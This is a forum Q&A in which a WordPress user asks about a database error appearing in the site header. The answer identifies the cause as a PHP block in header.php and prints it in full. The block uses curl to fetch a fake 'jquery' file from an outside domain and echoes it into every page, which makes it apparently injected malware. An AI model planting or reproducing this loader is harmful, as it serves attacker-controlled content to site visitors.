Couldn't connect to database server.Couldn'

2019-08-07 09:45发布

I need your advise.

I'm using wordpress, and i got error on header with following message:

*Couldn't connect to database server.Couldn't find database jimbob_jc.
 An unexpected problem has occured with the application. 
 SELECT statscurl_id FROM `statscurl` WHERE statscurl_ip = '';*

What's that mean? How do I fix it?

I have searched Google but I've not had any success with others having similar problems.

1条回答
贼婆χ
2楼-- · 2019-08-07 10:38

Comment out the following code in the header.php file.

<?php
  if(function_exists('curl_init'))
  {
    $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
    $ch = curl_init();  
    $timeout = 5;  

    curl_setopt($ch,CURLOPT_URL,$url); 
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); 
    $data = curl_exec($ch);  

    curl_close($ch); 
    echo "$data";
  }
?>
查看更多
登录 后发表回答